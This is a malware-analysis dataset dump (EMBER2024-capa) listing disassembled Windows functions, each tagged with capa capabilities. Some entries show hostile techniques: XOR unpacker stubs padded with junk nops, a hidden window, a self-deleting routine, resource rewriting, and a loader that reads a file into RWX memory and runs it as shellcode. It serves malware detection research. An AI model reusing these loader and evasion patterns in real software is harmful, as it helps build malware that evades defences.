joyce8/EMBER2024-capa huggingface dataset:
Function at 0xd61af0
Capabilities:
Hash data using md4
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push 0xf0000040
push 1
push 0
push 0
lea edi, [esi + 4]
mov dword [esi], 0
push esi
mov dword [edi], 0
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0xd61b2f
push edi
push 0
push 0
push 0x8002
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
pop edi
pop esi
pop ebp
ret

Function at 0xd80763
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00d80423

Function at 0xd83eb2
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00d83d31

Function at 0x430006
Capabilities:
Encode data using xor

Disassembly:
call 0x43000c
pop eax
nop
nop
nop
nop
nop
add eax, 0x403daa
nop
sub eax, 0x403d50
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
jl 0x430030
nop
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43001e
nop
popal
nop
nop
nop
nop
nop
jmp fcn.00401219

Function at 0x4019f0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov dword [0x4040c0], eax
xor eax, eax
mov ebp, esp
mov ecx, 0xa
push eax
dec ecx
jne 0x4019ff
push esp
mov dword [ebp - 0x24], 0x40171b
mov eax, dword [0x4040c0]
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], str.solienty
call dword [sym.imp.USER32.dll_RegisterClassA]
xor eax, eax
push eax
push dword [0x4040c0]
push eax
push eax
push 0x190
push 0x2b2
push 0x640
push 0x9c4
push 0
push str.absent
push str.solienty
push eax
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [0x4040c8], eax
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x401a9e
mov esi, dword [sym.imp.USER32.dll_TranslateMessage]
mov edi, dword [sym.imp.USER32.dll_DispatchMessageA]
lea eax, [ebp - 0x1c]
push eax
call esi
lea ecx, [ebp - 0x1c]
push ecx
call edi
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x401a7f
pop ebp
ret 0x10
Function at 0x40aa5b
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3c
mov eax, dword [0x41a004]
xor eax, esp
mov dword [esp + 0x38], eax
push esi
mov esi, dword [ebp + 8]
push 0x4074dc
push 0x4074f8
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40aa95
push 0x800
call eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
lea ecx, [esp + 0xc]
call fcn.00409cb0
push esi
lea ecx, [esp + 0x24]
call fcn.0040921b
lea ecx, [esp + 0x20]
call fcn.004095c7
mov esi, eax
test esi, esi
jns 0x40aae9
lea ecx, [esp + 8]
call fcn.0040a9d0
test al, al
je 0x40ab33
cmp esi, 0x80040b00
jne 0x40ab33
lea ecx, [esp + 0x20]
call fcn.00409683
mov esi, eax
test esi, esi
js 0x40ab33
mov esi, 0x80040b02
jmp 0x40ab33
cmp dword [esp + 0x1c], 8
lea esi, [esp + 8]
jb 0x40aaf8
mov esi, dword [esp + 8]
push 0x406f80
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x40ab2b
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
test esi, esi
je 0x40ab24
jle 0x40ab33
movzx esi, si
or esi, 0x80070000
jmp 0x40ab33
mov esi, 0x80004005
jmp 0x40ab33
push dword [ebp + 0x14]
push esi
call eax
mov esi, eax
lea ecx, [esp + 0x20]
call fcn.004092b7
lea ecx, [esp + 8]
call fcn.00409da9
mov ecx, dword [esp + 0x3c]
mov eax, esi
pop esi
xor ecx, esp
call fcn.0040b187
mov esp, ebp
pop ebp
ret 0x10
Function at 0x1000125c
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0xc], 0
call sub.KERNEL32.DLL_GetEnvironmentStringsA
mov ebx, eax
mov dword [ebp - 0x10], ebx
jmp 0x10001299
cmp byte [ebx], 0x3d
je 0x10001285
inc dword [ebp - 0xc]
mov edi, ebx
xor eax, eax
stc
sbb ecx, ecx
repne scasb al, byte es:[edi]
neg ecx
lea eax, [ecx - 2]
mov edi, eax
inc edi
lea ebx, [ebx + edi]
cmp byte [ebx], 0
jne 0x10001278
mov edi, dword [ebp - 0xc]
inc edi
lea edi, [edi*4]
mov dword [ebp - 0x14], edi
push dword [ebp - 0x14]
call sub.CRTDLL.DLL_malloc
pop ecx
mov dword [ebp - 8], eax
mov dword [0x10003010], eax
cmp dword [ebp - 8], 0
jne 0x100012cc
xor eax, eax
jmp 0x10001342
mov ebx, dword [ebp - 0x10]
jmp 0x10001325
mov edi, ebx
xor eax, eax
stc
sbb ecx, ecx
repne scasb al, byte es:[edi]
neg ecx
lea eax, [ecx - 2]
mov edi, eax
inc edi
mov dword [ebp - 4], edi
cmp byte [ebx], 0x3d
je 0x1000131f
push dword [ebp - 4]
call sub.CRTDLL.DLL_malloc
pop ecx
mov esi, dword [ebp - 8]
mov dword [esi], eax
or eax, eax
jne 0x10001308
jmp 0x10001342
push ebx
mov edi, dword [ebp - 8]
push dword [edi]
call sub.CRTDLL.DLL_strcpy
add esp, 8
add dword [ebp - 8], 4
mov edx, dword [ebp - 4]
lea ebx, [ebx + edx]
cmp byte [ebx], 0
jne 0x100012d1
mov edx, dword [ebp - 8]
mov dword [edx], 0
mov eax, 1
pop edi
pop esi
pop ebx
leave
ret

Function at 0x431002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40915c
mov ecx, 0x73a44f00
nop
nop
nop
nop
nop
test eax, eax
nop
je 0x43104e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x431024
nop
mov eax, section..data
nop
nop
mov ebx, 0x42f3f8
nop
mov ecx, 0x59c06b41
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x431084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x433001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
nop
mov ecx, 0x40e3ee0
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43304e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x433024
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x59332a70
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x433084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
popal
nop
nop
nop
jmp 0x431219

Function at 0x42e006
Capabilities:
Encode data using xor

Disassembly:
mov eax, section..text
nop
nop
mov ebx, 0x407ef8
nop
mov ecx, 0x11214f4b
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x42e04e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x42e024
mov eax, section..data
nop
nop
mov ebx, 0x42cd70
nop
mov ecx, 0x466c379a
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x42e084
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x42e06c
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x401000
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
push esp
pop ebp
and esp, 0xfffffff8
sub esp, 0x1c
mov al, byte [ecx]
and dword [esp + 0x18], 0
push ebx
push esi
mov byte [edx], al
lea eax, [edx + 1]
push edi
sub edi, edi
mov dword [esp + 0x1c], eax
mov dword [esp + 0x14], edx
mov esi, dword [esp + 0x14]
xor ebx, ebx
lea eax, [ecx + 1]
mov dword [esp + 0x10], ebx
mov dword [esp + 0x18], eax
lea ecx, [esp + 0x18]
call fcn.004011b2
test eax, eax
je 0x401164
lea ecx, [esp + 0x18]
call fcn.004011b2
lea ecx, [esp + 0x18]
or eax, eax
je 0x4010d3
call fcn.004011b2
or eax, eax
je 0x401091
push 4
sub edi, edi
pop ebx
lea ecx, [esp + 0x18]
call fcn.004011b2
lea edi, [eax + edi*2]
dec ebx
jne 0x401063
mov edx, dword [esp + 0x1c]
test edi, edi
je 0x401084
mov eax, edx
sub eax, edi
mov al, byte [eax]
mov byte [edx], al
jmp 0x401087
mov byte [edx], 0
mov ebx, dword [esp + 0x10]
inc edx
jmp 0x401176
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
movzx esi, byte [eax]
push esi
pop ecx
and ecx, 1
inc eax
add ecx, 2
shr esi, 1
mov dword [esp + 0x18], eax
je 0x4010c7
test ecx, ecx
je 0x40115f
mov edi, edx
sub edi, esi
mov al, byte [edi]
mov byte [edx], al
inc edx
inc edi
dec ecx
jne 0x4010b9
jmp 0x40115b
sub ebx, ebx
inc ebx
mov dword [esp + 0x10], ebx
jmp 0x40115f
call fcn.00401191
test edi, edi
jne 0x401108
cmp eax, 2
jne 0x401103
lea ecx, [esp + 0x18]
call fcn.00401191
mov edx, dword [esp + 0x1c]
mov edi, eax
or edi, edi
je 0x40115f
mov ecx, edx
sub ecx, esi
mov al, byte [ecx]
mov byte [edx], al
inc edx
inc ecx
dec edi
jne 0x4010f8
jmp 0x40115b
sub eax, 3
jmp 0x40110b
sub eax, 2
mov ecx, dword [esp + 0x18]
mov esi, eax
movzx eax, byte [ecx]
shl esi, 8
add esi, eax
inc ecx
mov dword [esp + 0x18], ecx
lea ecx, [esp + 0x18]
call fcn.00401191
mov ecx, eax
cmp esi, 0x7d00
jb 0x401132
inc ecx
cmp esi, 0x500
jb 0x40113b
inc ecx
cmp esi, 0x80
jae 0x401146
add ecx, 2
mov edx, dword [esp + 0x1c]
or ecx, ecx
je 0x40115f
push edx
pop edi
sub edi, esi
mov al, byte [edi]
mov byte [edx], al
inc edx
inc edi
dec ecx
jne 0x401152
mov dword [esp + 0x1c], edx
xor edi, edi
inc edi
jmp 0x40117c
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov al, byte [ecx]
mov byte [edx], al
inc edx
inc ecx
mov dword [esp + 0x18], ecx
xor edi, edi
mov dword [esp + 0x1c], edx
test ebx, ebx
je 0x401033
sub edx, dword [esp + 0x14]
pop edi
pop esi
mov eax, edx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401520
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
push esp
pop ebp
mov eax, dword [ebp + 0xc]
sub esp, 0x18
mov dword [eax], 0
mov eax, dword [ebp + 0x10]
push esi
push edi
mov edi, ecx
mov dword [eax], 0
mov eax, dword [edi + 0x3c]
mov ecx, 0x14c
cmp word [eax + edi + 4], cx
lea esi, [eax + edi]
jne 0x401680
push ebx
mov ebx, dword [eax + edi + 0x88]
mov dword [ebp - 0x18], ebx
test ebx, ebx
je 0x40158d
cmp dword [eax + edi + 0x8c], 0
je 0x40158d
movzx eax, word [esi + 0x14]
lea ecx, [esi + 0x18]
movzx esi, word [esi + 6]
add ecx, eax
sub edx, edx
or esi, esi
je 0x40158d
push edi
pop edi
cmp dword [ecx + 0xc], ebx
je 0x401598
inc edx
add ecx, 0x28
cmp edx, esi
jb 0x401580
pop ebx
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0xc
mov esi, dword [ecx + 0x14]
movzx ecx, word [esi + edi + 0xe]
movzx eax, word [esi + edi + 0xc]
add esi, edi
add ecx, eax
mov dword [ebp - 0xc], ecx
pushfd
and ecx, 0
popfd
mov dword [ebp - 8], esi
mov dword [ebp - 0x10], ecx
je 0x40158d
mov edx, dword [ebp - 0xc]
xor eax, eax
nop
nop
mov ebx, dword [esi + eax*8 + 0x14]
and ebx, 0x7fffffff
add ebx, esi
mov dword [ebp - 0x14], ebx
movzx edi, word [ebx + 0xe]
movzx eax, word [ebx + 0xc]
add edi, eax
mov dword [ebp - 4], edi
pushfd
sub edi, edi
popfd
nop
je 0x40163d
mov ecx, dword [ebp - 4]
sub eax, eax
cmp word [ebx + eax*8 + 0x10], 0x65
jne 0x40162f
mov edx, dword [ebx + eax*8 + 0x14]
and edx, 0x7fffffff
add edx, esi
pushfd
xor ecx, ecx
popfd
nop
movzx esi, word [edx + 0xe]
movzx eax, word [edx + 0xc]
add esi, eax
je 0x401629
sub eax, eax
nop
lea eax, [edx + eax*8]
mov ebx, 0x409
cmp word [eax + 0x10], bx
mov ebx, dword [ebp - 0x14]
je 0x401657
inc ecx
movzx eax, cx
cmp eax, esi
jb 0x401610
mov esi, dword [ebp - 8]
mov ecx, dword [ebp - 4]
inc edi
movzx eax, di
cmp eax, ecx
jb 0x4015e8
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0xc]
inc ecx
movzx eax, cx
mov dword [ebp - 0x10], ecx
cmp eax, edx
jb 0x4015c0
pop ebx
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0xc
mov ecx, dword [eax + 0x14]
add ecx, dword [ebp - 8]
mov edx, dword [ebp + 0xc]
pop ebx
mov eax, dword [ecx]
sub eax, dword [ebp - 0x18]
pop edi
add eax, dword [ebp - 8]
pop esi
mov dword [edx], eax
mov eax, dword [ecx + 4]
mov ecx, dword [ebp + 0x10]
mov dword [ecx], eax
pushfd
xor eax, eax
inc eax
popfd
mov esp, ebp
pop ebp
ret 0xc
pop edi
xor eax, eax
pop esi
push ebp
pop esp
pop ebp
ret 0xc
Function at 0x401690
Capabilities:
Encode data using xor

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x10
push ebx
push esi
push edi
push edx
pop edi
push edi
push 0
push dword [section..data]
mov dword [ebp - 8], edi
push ecx
pop esi
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, edi
shr ebx, 2
mov dword [ebp - 4], eax
or ebx, ebx
je 0x4016d4
push esi
pop edi
mov ecx, eax
sub edi, eax
mov edx, ebx
mov eax, dword [edi + ecx]
mov dword [ecx], eax
lea ecx, [ecx + 4]
dec edx
jne 0x4016c3
mov edi, dword [ebp - 8]
mov eax, dword [ebp - 4]
shl ebx, 2
cmp ebx, edi
jae 0x4016ef
push edi
pop edx
sub esi, eax
lea ecx, [ebx + eax]
sub edx, ebx
mov al, byte [ecx + esi]
mov byte [ecx], al
lea ecx, [ecx + 1]
dec edx
jne 0x4016e4
mov eax, dword [ebp - 4]
lea esi, [edi - 8]
lea ecx, [eax - 8]
add ecx, edi
push esi
pop ebx
mov edx, dword [ecx + 4]
mov dword [ebp - 0x10], ecx
mov ecx, dword [ecx]
shr ebx, 2
and esi, 3
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], ecx
or ebx, ebx
je 0x401731
lea ecx, [ebx + edx]
mov edx, dword [eax]
movzx ecx, cl
ror edx, cl
mov ecx, dword [ebp - 8]
add eax, 4
xor edx, ecx
sub edx, ebx
mov dword [eax - 4], edx
mov edx, dword [ebp - 0xc]
dec ebx
jne 0x401714
test esi, esi
je 0x40173d
xor byte [eax], cl
lea eax, [eax + 1]
dec esi
jne 0x401735
mov edi, dword [ebp - 0x10]
mov edi, dword [edi - 4]
push edi
push 0
push dword [section..data]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, dword [ebp - 4]
push eax
pop esi
mov edx, esi
push ebx
pop ecx
call section..text
push ebx
push 0
push dword [section..data]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov dword [eax], edi
pop edi
mov dword [ecx], esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
push esi
mov ebx, 0x10003028
xor esi, esi
push edi
cmp ebx, 0x10002034
jne 0x1000116a
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x10002038]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x10001172
push 1
push esi
push esi
push ebx
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x1000203c]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x1000119d
push 0x40
mov eax, 0x1000
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
cmp ax, si
jne 0x100011cb
push 5
pop ecx
mov esi, str.sktop.ini
rep movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
cmp eax, 0xffffffff
je 0x10001222
push esi
push 0x10003020
push 0x1000
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10
Function at 0x402738
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00403d80
test esi, esi
jne 0x40276e
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00403e70
jmp 0x40278c
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.0040264c
mov edi, eax
test esi, esi
je 0x40278c
cmp dword [ebx], 0
je 0x40278c
dec esi
jmp 0x402775
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x402d14
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x40e008], 0x8088405
inc edx
mov dword [ebx + 0x40e008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x4032e4
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x40e010]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x40337c
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x40335c
xor eax, eax
push ebp
push 0x403355
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403398
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40335c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x40e010]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x40e010], ax
mov esp, ebp
pop ebp
ret

Function at 0x403b88
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x40f034], 0
je 0x403be9
cmp word [0x40f208], 0xd7b2
jne 0x403bb1
cmp dword [0x40f210], 0
jbe 0x403bb1
mov eax, 0x40f204
call dword [0x40f220]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x40e074
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x403c10
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x40e01c], 0
jne 0x403c05
push 0
push 0x40e094
push 0x40e074
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x403d3c
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
mov eax, 8
call fcn.004024dc
mov dword [eax], edi
mov edx, dword [ebp + 0x10]
mov dword [eax + 4], edx
mov byte [0x40f035], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x403d04
push eax
push esi
push ebx
call sub.kernel32.dll_CreateThread
pop edi
pop esi
pop ebx
pop ebp
ret 0xc
Function at 0x404a54
Capabilities:
Read file on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffd8
mov dword [esp], edx
mov byte [esp + 4], 0
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push eax
call sub.kernel32.dll_CreateFileA_1
mov ebp, eax
test ebp, ebp
jle 0x404b72
push 0
lea eax, [esp + 0xc]
push eax
push 0x16
lea eax, [esp + 0x1c]
push eax
push ebp
call sub.kernel32.dll_ReadFile_1
push 0
push 0
push 0
push ebp
call sub.kernel32.dll_SetFilePointer_1
mov eax, 0x26
call fcn.004024dc
mov esi, eax
mov eax, 0x22
call fcn.004024dc
mov edi, eax
push 0
lea eax, [esp + 0xc]
push eax
push 0x26
mov ebx, esi
push ebx
push ebp
call sub.kernel32.dll_ReadFile_1
mov edx, edi
mov eax, ebx
mov ecx, 0x14
call fcn.0040260c
mov eax, dword [esi + 6]
mov dword [edi + 6], eax
mov eax, dword [esi + 0xa]
mov dword [edi + 0xa], eax
mov eax, dword [esi + 0xe]
mov dword [edi + 0xe], eax
mov word [edi + 0x12], 1
mov ebx, dword [esi + 0xe]
mov eax, ebx
call fcn.004024dc
mov dword [esp + 0xc], eax
push 0
push 0
mov eax, dword [esi + 0x12]
push eax
push ebp
call sub.kernel32.dll_SetFilePointer_1
push 0
lea eax, [esp + 0xc]
push eax
push ebx
mov eax, dword [esp + 0x18]
push eax
push ebp
call sub.kernel32.dll_ReadFile_1
push ebp
call sub.kernel32.dll_CloseHandle_1
push 0
mov eax, dword [esp + 4]
push eax
call sub.kernel32.dll_BeginUpdateResourceA
mov ebp, eax
test ebp, ebp
jle 0x404b5b
push ebx
mov eax, dword [esp + 0x10]
push eax
push 0
push 1
push 3
push ebp
call sub.kernel32.dll_UpdateResourceA
push 0
push ebp
call sub.kernel32.dll_EndUpdateResourceA
mov byte [esp + 4], 1
mov eax, dword [esp + 0xc]
call fcn.004024fc
mov eax, edi
call fcn.004024fc
mov eax, esi
call fcn.004024fc
mov al, byte [esp + 4]
add esp, 0x28
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x404f48
Capabilities:
Create process on windows
Self delete

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe28
push ebx
xor ebx, ebx
mov dword [ebp - 0x1d8], ebx
mov ebx, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004040ec
mov eax, dword [ebp - 8]
call fcn.004040ec
xor eax, eax
push ebp
push 0x40502e
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x1d4]
call fcn.00402aa8
lea eax, [ebp - 0x1d4]
call fcn.00402838
call fcn.004025d0
mov edx, dword [ebp - 8]
lea eax, [ebp - 0x1d4]
call fcn.004042ec
call fcn.00403264
call fcn.004025d0
lea eax, [ebp - 0x1d8]
mov ecx, dword [ebp - 4]
mov edx, 0x405044
call fcn.00403f50
mov edx, dword [ebp - 0x1d8]
lea eax, [ebp - 0x1d4]
call fcn.004042ec
call fcn.00403264
call fcn.004025d0
lea eax, [ebp - 0x1d4]
call fcn.00402c18
call fcn.004025d0
test bl, bl
je 0x405008
push 0
mov eax, dword [ebp - 4]
call fcn.004040fc
push eax
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405035
lea eax, [ebp - 0x1d8]
call fcn.00403d80
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403da4
ret
Function at 0x40538c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push eax
mov eax, 4
add esp, 0xfffff004
push eax
dec eax
jne 0x405395
mov eax, dword [ebp - 4]
add esp, 0xfffffff0
push ebx
xor ebx, ebx
mov dword [ebp - 0x4014], ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.004040ec
mov eax, dword [ebp - 8]
call fcn.004040ec
xor eax, eax
push ebp
push 0x405484
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x400f]
mov edx, 0x3fff
call fcn.00404a14
lea eax, [ebp - 0xc]
push eax
push 1
push 0
mov eax, dword [ebp - 4]
call fcn.004040fc
push eax
push ebx
call sub.advapi32.dll_RegOpenKeyExA_1
mov dword [ebp - 0x10], 0x3fff
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x400f]
push eax
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.004040fc
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
lea eax, [ebp - 0x4014]
lea edx, [ebp - 0x400f]
mov ecx, 0x3fff
call fcn.00403eec
cmp dword [ebp - 0x4014], 0
je 0x40545e
mov eax, dword [ebp + 8]
lea edx, [ebp - 0x400f]
mov ecx, 0x3fff
call fcn.00403eec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40548b
lea eax, [ebp - 0x4014]
call fcn.00403d80
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403da4
ret

Function at 0x405494
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef8
push ebx
xor edx, edx
mov dword [ebp - 0x108], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x405508
push dword fs:[eax]
mov dword fs:[eax], esp
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
lea eax, [ebp - 0x108]
lea edx, [ebp - 0x101]
mov ecx, 0x101
call fcn.00403eec
mov edx, dword [ebp - 0x108]
mov eax, ebx
mov ecx, 0x40551c
call fcn.00403f50
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40550f
lea eax, [ebp - 0x108]
call fcn.00403d80
ret